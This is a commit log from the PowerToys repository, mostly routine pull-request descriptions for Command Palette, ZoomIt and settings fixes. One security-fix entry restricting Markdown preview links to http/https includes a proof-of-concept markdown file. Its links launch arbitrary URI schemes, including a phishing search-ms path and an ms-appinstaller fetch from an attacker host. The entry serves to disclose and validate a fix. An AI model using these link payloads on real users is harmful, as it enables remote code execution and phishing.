Mike Griese
5dea1980ad CmdPal: some dock data (#45832)
we want to know what the people want

re: #45584
2026-02-27 12:22:14 -06:00
Mike Griese
e74692815f Dock: deal with multiple appbars on the same side (#45831)
notes inline with code. Need to adjust the opposite side of the appbar
for our size.

These APIs are documented so well, it's no wonder more folks don't use
them 🙃

related to #45824
tracked in #45584

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 12:22:02 -06:00
Jiří Polášek
8c1e4f16fe CmdPal: Add null check before caching view model for item (#45815) 2026-02-27 11:20:19 -06:00
Jiří Polášek
e653b4ad37 CmdPal: Remove OneWay binding mode from bands ItemsRepeater (#45833)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

This PR removes OneWay binding mode from ItemsRepeater with bands in
Dock settings page. The page doesn't provide any means for property
change notification, so the binding can never be refreshed anyway and it
cases XAML compiler to emit a warning `WMC1506: OneWay bindings require
at least one of their steps to support raising notifications when their
value change`

- [x] Related to: #42574 
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 11:13:48 -06:00
Mike Griese
70bf430d9f CmdPal: Add a dock (#45824)
Add support for a "dock" window in CmdPal. The dock is a toolbar powered
by the `APPBAR` APIs. This gives you a persistent region to display
commands for quick shortcuts or glanceable widgets.

The dock can be pinned to any side of the screen.
The dock can be independently styled with any of the theming controls
cmdpal already has
The dock has three "regions" to pin to - the "start", the "center", and
the "end".
Elements on the dock are grouped as "bands", which contains a set of
"items". Each "band" is one atomic unit. For example, the Media Player
extension produces 4 items, but one _band_.
The dock has only one size (for now)
The dock will only appear on your primary display (for now)

This PR includes support for pinning arbitrary top-level commands to the
dock - however, we're planning on replacing that with a more universal
ability to pin any command to the dock or top level. (see #45191). This
is at least usable for now.

This is definitely still _even more preview_ than usual PowerToys
features, but it's more than usable. I'd love to get it out there and
start collecting feedback on where to improve next. I'll probably add a
follow-up issue for tracking the remaining bugs & nits.

closes #45201

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 13:24:23 +00:00
Kai Tao
494c14fb88 Always on top: window context menu to always on top (#45773)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Add an option to enable inject a window context menu to always on top
this window.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45638 #15387
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

https://github.com/user-attachments/assets/37eb3f74-1ccc-42f2-83c3-1100f55765ee

---------

Co-authored-by: Niels Laute <niels.laute@live.nl>
2026-02-27 16:45:35 +08:00
Alex Mihaiuc
6c806aa08c Make the ZoomIt AAC audio track depend on system audio or audio input (#45700)
When neither option is selected, then the resulting .mp4 container won't
have an audio track added to it.
This is due to the recent audio input addition. As a result, all .mp4
recordings now have an audio track, even if empty. Restoring the prior
functionality, where just the h264 video is present on no audio.

## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 19:27:19 +01:00
Mike Griese
7a0e4ac891 CmdPal: Add context commands for pinning nested commands (#45673)
_targets #45572_

This change allows our contact menu factory to actually create and add
additional context menu commands for pinning commands to the top level.
Now for any command provider built with the latest SDK that return
subcommands with an ID, we will add additional context menu commands
that allows you to pin that command to the top level.

<img width="540" height="181" alt="image"
src="https://github.com/user-attachments/assets/6c2cfe3c-4143-44d1-9308-bfc71db4c842"
/>
<img width="729" height="317" alt="image"
src="https://github.com/user-attachments/assets/4ff75c9f-1f35-4c1e-a03e-6fab5cbab423"
/>

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201


This PR notably does not remove pinning from the apps extension. I
thought that made sense to do as a follow-up PR for the sake of
reviewability.

--- 

description from #45676 which was merged into this

Removes the code that the apps provider was using to support pinning
apps to the top level list of commands. Now the all apps provider just
uses the global support for pinning commands to the top level.

This does have the side effect of removing the separation of pinned apps
from unpinned apps on the All Apps page. However, we all pretty much
agree that wasn't a particularly widely used feature, and it's safe to
remove.

With this, we can finally call this issue done 🎉
closes https://github.com/microsoft/PowerToys/issues/45191
2026-02-26 16:09:17 +00:00
Kai Tao
cdeae7c854 Mouse Utilities: Remove newinfo badge for cursor wrap (#45803)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
as title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="1665" height="443" alt="image"
src="https://github.com/user-attachments/assets/9a5488c4-dea0-47a4-bf5c-f60820176d50"
/>
2026-02-26 13:48:16 +00:00
Jiří Polášek
9ae355b963 CmdPal: Fix All Apps search result limit default (#45804)
## Summary of the Pull Request

This PR adds a new default option to the All Apps extension settings.

- Adds an explicit "Default (n)" option to the choices list as the
default. This option is not tied to a concrete number of items, allowing
the value to change in the future.
- Fixes backward compatibility for users who installed the extension
when `"0"` was accidentally used as the default search result limit
(d07f40eec3). Existing `"0"` values are now treated as "use default
(10)" instead of producing zero results.
- Renames the intentional "0 results" setting value from `"0"` to
`"none"` so it can be clearly distinguished from the previous accidental
default.
- Moves result-limit parsing from `AllAppsCommandProvider` into
`AllAppsSettings`, exposing a parsed `int?` property instead of a raw
string.
- Adds `IgnoreUnknownValue` to `ChoiceSetSetting` so unrecognized stored
values (such as the old `"0"`) are silently ignored on load, preserving
the initialized default.
- Without this the drop-down value in the adaptive card shows as empty.

<img width="842" height="226" alt="image"
src="https://github.com/user-attachments/assets/ae79f173-2e81-43d8-9103-c548ff6e0dc1"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-26 06:52:55 -06:00
moooyo
9b7ae9a96a Temporarily disable PowerDisplay module across PowerToys (#45802)
Icon and New name still pending for final decision.

We cannot ship in this release, still need enough time to consider new
name and icon.

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
2026-02-26 12:40:18 +00:00
Jiří Polášek
169bfe3f04 CmdPal: Lightning-fast mode (#45764)
## Summary of the Pull Request

This PR unlocks lightning-fast mode for Command Palette:

- Hides visual and motion distractions when updating the result list:
- Ensures the first interactable result item is selected as early as
possible after the result list is updated, reducing flashing and
blinking caused by the selection highlight moving around.
- Removes the list item selection indicator animation (unfortunately by
removing the pill altogether for now) and prevents it from temporarily
appearing on other items as the selection moves.
- Adds a new "Results" section header above the home page results when
no other section is present.
- This ensures the first item on the home page has consistent visuals
and styling, preventing offsets and excessive visual changes when
elements are replaced in place.

- Improves update performance and container reuse:
- Fixes the `removed` output parameter in `ListHelper.UpdateInPlace` to
only include items that were actually removed (items that were merely
moved to a different position should not be reported as removed).
    - Adds unit tests to prevent regression.
- Updates `ListHelper.UpdateInPlace` for `ObservableCollection` to use
`Move` instead of `Remove`/`Add`, and avoids `Clear` to prevent
`ListView` resets (which force recreation of all item containers and are
expensive).
- Adds a simple cache for list page item view models to reduce
unnecessary recreation during forward incremental search.
- `ListViewModel` and `FetchItems` have no notion of item lifetime or
incremental search phase, so the cache intentionally remains simple
rather than clever.
  - Updates ListPage templates to make them a little lighter:
- Tag template uses OneTime, instead of OneWay - since Tag is immutable
- Replaces ItemsControl with ItemsRepeater for Tag list on list items
- Increases the debounce for showing the details pane and adds a
debounce for hiding it. This improves performance when browsing the list
and prevents the details pane animation from bouncing left and right

## Pictures? Moving!



https://github.com/user-attachments/assets/36428d20-cf46-4321-83c0-d94d6d4a2299



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44407
- [x] Closes: #45691
2026-02-26 06:17:34 -06:00
leileizhang
1b4641a158 Fix: Restrict URI scheme navigation in MarkdownPreviewHandler to http/https only (#45801)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The Markdown Preview Handler allowed arbitrary URI scheme execution when
users clicked links in the preview pane. This patch restricts external
navigation to http and https schemes only.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
**Steps:**
1. Create a file named `exploit.md` with the following content:
```markdown
# PoC
1. [Click Me for RCE (Always Works)](calculator:)
2. [Remote File Search Phishing](search-ms:displayname=Confidential&crumb=location:\\\\127.0.0.1\\c$)
3. [App Installer (Requires Policy)](ms-appinstaller:?source=https://attacker.com/malware.msix)
```
2. Open Windows File Explorer and navigate to the folder containing
`exploit.md`.
3. Enable the "Preview pane" in File Explorer (View -> Show -> Preview
pane).
4. Select `exploit.md` (single click) to render the preview.
5. Click the "Click Me for RCE" link.
2026-02-26 17:46:48 +08:00
Jaylyn Barbee
a94d010a8d [Light Switch] Fixed issue where Light switch could be toggled from the dashboard while GPO settings are active (#45756)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Current behavior is that GPO policies are enforced on the Light Switch
settings page but not on the dashboard or quick access menu's. This
allows the user to still toggle Light Switch settings in scenarios where
GPO is either forcing it to be enabled or disabled. This PR addresses
that issue.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43754
## Additional notes
This PR only addresses issues on the dashboard page and in the quick
access menu as described by
https://github.com/microsoft/PowerToys/issues/43754.

This PR also fixed an issue where modules were not showing in the Quick
access menu when GPO is set to "Enabled" until you visited the module
specific page. When modules are forced enabled, they should appear in
Quick Access upon launch if they have a quick access entry.

This issue does not address issue
https://github.com/microsoft/PowerToys/issues/42484 which was fixed with
the PR https://github.com/microsoft/PowerToys/pull/44567

## Validation Steps Performed
Tested locally, photos below
Not configured:
<img width="1371" height="964" alt="image"
src="https://github.com/user-attachments/assets/50ee579d-8ffb-44fd-92a9-e191b61c0318"
/>
Enabled:
<img width="1183" height="988" alt="image"
src="https://github.com/user-attachments/assets/789abf28-d140-4d93-8934-48b3ac92be2e"
/>
Disabled:
<img width="1282" height="965" alt="image"
src="https://github.com/user-attachments/assets/17ec915a-29d9-42fb-a58e-4b769a728e6a"
/>

We can observe the option being locked on the quick toggles and not
present in the quick access menu when disabled.
2026-02-25 16:44:15 +01:00
Kai Tao
c013122520 Settings: Fix settings process shutdown when closing secondary windows (#45787)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45549 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

When no window alive, the settings exe should also be gone
2026-02-25 21:50:42 +08:00
leileizhang
5d11e8e805 [SFI] Fix libFuzzer failing to resolve target class name in Hosts module fuzz tests (#45784)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In PR
https://github.com/microsoft/PowerToys/pull/40754/changes#diff-458c2dd654182dce7f6ad70fadd40d048a99f9be2cd9506747dde5964e6f396a
the config class name was changed incorrectly, which caused libFuzzer to
fail to resolve the target type HostsEditor.FuzzTests.FuzzTests and
resulted in test failures.

<img width="2074" height="311" alt="image"
src="https://github.com/user-attachments/assets/8a8d4ce8-71e7-45d6-ae7e-da43da6c63ca"
/>


This change updates the class name to the correct value to fix the
issue.

<img width="2098" height="647" alt="image"
src="https://github.com/user-attachments/assets/2715dade-63e1-4cdb-856a-8f199ffcd38a"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-25 13:54:46 +08:00
Jiří Polášek
83f26d4684 CmdPal: Configure .editorconfig to format MSBuild files (#45739)
## Summary of the Pull Request

This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.

No functional changes.
2026-02-24 14:50:17 -06:00
Jiří Polášek
07b8915e19 CmdPal: Remove dead code from Window Walker and cleanup (#45570)
## Summary of the Pull Request

This PR is a light cleanup on Window Walker built-in extension:

- Removes unused types
- Removes redundant code
- Fixes inconsistent naming conventions
- De-LINQ-ify
- Fixes XML doc
- Updates language constructs to the latest (use of
System.Threading.Lock, Collection expressions)
- Updates types and members visibility and makes static classes static

⚠️ Trickiest part are 44ac1c1 and 26c946c that removes redundant null
checks.
2026-02-24 06:29:58 -06:00
Mike Griese
4f5837d4e9 CmdPal: Use a factory for building the context menu VMs (#45572)
_targets #45566_

doesn't actually do anything, just moves around the instantiation of
command context item VMs.

This will let use add pin/unpin commands later

related to https://github.com/microsoft/PowerToys/issues/45191
related to https://github.com/microsoft/PowerToys/issues/45201
2026-02-24 06:26:33 -06:00
Niels Laute
e8ccb7099e Upgrading to WASDK 1.8.5 and removing TitleBar workarounds (#45532)
- Upgrade to WASDK 1.8.5 that includes a fix for the `TitleBar` control.
- Remove the workaround from windows that use this control, as we can
set the `TitleBar` directly now
2026-02-24 06:01:44 -06:00
Gordon Lam
6fe4361a20 feat(settings-ui): crash fix - add back the missing default language option to resources (#45766)
Add back the default language option to the resources for better
localization support. This change is fixing a regression:
 Two bugs here:
1. The original commit by Stefan had a case mismatch (Default_language
vs Default_Language) — latent bug
2. Niels's PR used Copilot CLI to find dead strings, which incorrectly
removed a live resource due to the case
  mismatch

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-24 18:12:32 +08:00
Gordon Lam
91634922fc fix(settings-ui): Get rid of build warning - change binding mode to OneTime for update controls (#45765)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Change the binding mode to `OneTime` for various update controls in the
settings UI to improve performance and reduce unnecessary updates.

Without the change, beside the functionality/performance issue, there
are list of build warning like:

src\settings-ui\Settings.UI\SettingsXAML\Controls\Dashboard\CheckUpdateControl.xaml(15,13):
XamlCompiler warning **WMC1506**: OneWay bindings require at least one
of their steps to support raising notifications when their value changes

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updated the binding mode for controls in `CheckUpdateControl.xaml` and
`ShortcutConflictWindow.xaml` to `OneTime` to enhance efficiency.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manually tested the settings UI to ensure that the controls behave as
expected without unnecessary updates.
```
2026-02-24 07:16:03 +01:00
Dave Rayment
8d0f8e5b49 [ZoomIt] Add datetime suffix to screenshots (#43172)
This pull request introduces an improvement to how screenshot filenames
are generated in `ZoomIt`. The main change is to ensure that each
screenshot is saved with a unique, timestamped filename, which helps
prevent accidental overwrites and keeps files sorted chronologically.

**Enhancement to screenshot filename generation:**

* Added a new implementation for `GetUniqueScreenshotFilename()` in
`Zoomit.cpp` to generate screenshot filenames using the current date and
time, following the format `"ZoomIt YYYY-MM-DD HHMMSS.png"`. This
reduces the risk of overwriting existing files and improves file
organization.<!-- Enter a brief description/summary of your PR here.
What does it fix/what does it change/how was it tested (even manually,
if necessary)? -->
## Summary of the Pull Request
This PR:

Includes an update to create unique screenshot filenames, saving the
user from having to manually type a new filename each time they save a
new screenshot in the same location.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43158
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

## Unique filename issue

The PR fixes the user's complaint about the screenshots always being
called "zoomit" by adding a `GetUniqueScreenshotFilename()` method which
creates a unique filename based on the current date and time, e.g.
`ZoomIt 2025-11-01 004723.png`. This is consistent with other tools like
the Windows Snipping Tool and provides files which sort correctly when
ordered by name, which is not the case for files with simple numeric
suffixes.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Tested on a local build.
2026-02-24 12:53:22 +08:00
Jiří Polášek
15cad8ca18 CmdPal: Single-row list items (#45763)
## Summary of the Pull Request

This PR changes default style of list items to a single-row. As a flyby
it also ensures that all item containers have a constant height.

<img width="848" height="509" alt="image"
src="https://github.com/user-attachments/assets/832db0dd-d270-4745-b83a-c8ad2ec12c02"
/>

<img width="828" height="515" alt="image"
src="https://github.com/user-attachments/assets/6596a6ae-9056-4177-bafa-47df7d39ad3e"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #44407
- [x] Closes: #45091
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-23 20:46:09 -06:00
Niels Laute
65254cec76 Adding CmdPal Extensions doc links (#45632)
See title
2026-02-23 06:24:00 -06:00
Michael Jolley
138c66c328 CmdPal: Removing Core projects (#45693)
Functionally, no differences.

